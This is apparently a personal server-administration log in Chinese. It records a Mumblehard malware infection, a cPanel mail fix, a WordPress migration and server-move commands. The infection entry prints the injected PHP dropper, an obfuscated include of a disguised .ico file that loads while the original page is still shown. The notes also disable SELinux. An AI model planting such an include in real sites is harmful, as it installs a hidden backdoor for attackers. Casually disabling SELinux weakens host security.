主機中毒記錄 20200108

1.電算中心告知,中了”mumblehard”病毒!

2.參考資料

Linux/BSD 惡意軟件「Mumblehard」偵測及清理 : https://www.hkcert.org/my_url/zh/blog/15050601

3.網頁目錄被放置index.php,原來的index.html被改名為index.html.bak.bak

<?php
/*82cfb*/

@include "\057home\057a02/\160ubli\143_htm\154/myS\164ore/\154ogin\057.10a\064bdbc\056ico";

/*82cfb*/


echo @file_get_contents('index.html.bak.bak');

若目錄本身已有index.php,則其將上面的程式插入原本程式的上方。

 

【主機維護筆記】郵件系統異常 2018/08/21

狀況:發送郵件時發生550 unrouteable address異常

主機環境:Linux, CPanel, WHA

此次會發生這樣的問題,可能的原因:

1.前日圖資中心的網路防火牆讓學校內部的DNS封包出不了外面,我做了一些DNS處理,也因為不太熟悉DNS運作,把域名刪除,而導致後續的問題

2.也可能因為在解決問題的過程中,順道做了系統的升級…

解法:

1.DNS 及 MX 記錄檢查

檢查主機域名MX記錄

dig domain MX

2.Exim 設定

3.使用 Mail Troubleshooter檢查

4.Email -> Repair Mailbox Permissions (此次關鍵解決方式)

5.Web mail中的追踨傳送中可以觀察到正常/失敗的訊息原因

「網站日誌」- 從192.192.246.169(獨立主機)轉移至wells.fgchen.com(虛擬主機)

2018/2/16 (農曆春節1/1)

心血來潮,將Wordpress從一台主機移到另一台主機(之前想做沒做,把原本獨立主機再挪出來另作他用),步驟:

  1. 將Wordpress網站建立tar ball,  tar -xvf wp.tar ./wp/8
  2. 使用wget,將網站tar檔複製到新位置
  3. 解tar ball
  4. 將資料庫中所有的表格以SQL方式匯出,檔案太大,則進mysql,以soruce wp.sql方式進行匯入。

如果Domain URL不變的話,問題比較單純,底下是url變更下的處理方式:

UPDATE wp_options SET option_value = replace(option_value, 'http://www.oldurl', 'http://www.newurl') WHERE option_name = 'home' OR option_name = 'siteurl';

UPDATE wp_posts SET guid = replace(guid, 'http://www.oldurl','http://www.newurl');

UPDATE wp_posts SET post_content = replace(post_content, 'http://www.oldurl', 'http://www.newurl');

UPDATE wp_postmeta SET meta_value = replace(meta_value,'http://www.oldurl','http://www.newurl');

出現404 not found, 接著處理.htaccess,變更目錄 (由舊目錄改成新目錄)

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /wp
    RewriteRule ^(.*\/)?w3tc_rewrite_test([0-9]+)/?$ $1?w3tc_rewrite_test=1 [L]
    RewriteCond %{HTTP:Accept-Encoding} gzip
    RewriteRule .* - [E=W3TC_ENC:_gzip]
    RewriteCond %{HTTP_COOKIE} w3tc_preview [NC]
    RewriteRule .* - [E=W3TC_PREVIEW:_preview]
    RewriteCond %{REQUEST_METHOD} !=POST
    RewriteCond %{QUERY_STRING} =""
    RewriteCond %{REQUEST_URI} \/$
    RewriteCond %{HTTP_COOKIE} !(comment_author|wp\-postpass|w3tc_logged_out|wordpress_logged_in|wp
    RewriteCond "%{DOCUMENT_ROOT}/wp/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_in
    RewriteRule .* "/wp/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC
</IfModule>
# END W3TC Page Cache core
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /wp
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /wp/index.php [L]
</IfModule>

舊網站Wiki也搬移完畢!
https://fgchen.com/wiki

下關鍵字:cpanel performance tuning找到一堆效能調整文章,確有成效!

主機的移轉

一、一行指令複製MySQL所有資料庫到新的server

mysqldump –all-databases -u[user] -p[pwd] | ssh user@[host/IP] mysql -u[user] -p[pwd]

超強!

二、scp指令複製整個目錄到新的Server:

scp -rp sourcedirectory user@dest:/path

三、裝完 httpd後要處理幾個地方

conf.d/userdir.conf

<IfModule mod_userdir.c>
    #
    # UserDir is disabled by default since it can confirm the presence
    # of a username on the system (depending on home directory
    # permissions).
    #
    #UserDir disabled

    #
    # To enable requests to /~user/ to serve the user's public_html
    # directory, remove the "UserDir disabled" line above, and uncomment
    # the following line instead:
    #
    UserDir public_html
</IfModule>

 

httpd.conf 加上:

<Directory /home/*/public_html>
  Options Indexes FollowSymLinks
  AllowOverride None
  Require all granted
</Directory>

SELinux

chcon -R -t httpd_sys_content_t ~/public_html/

關閉SeLinux

setenforce 0

 

My  Domain:

http://kkhostdomain.supersite2.myorderbox.com/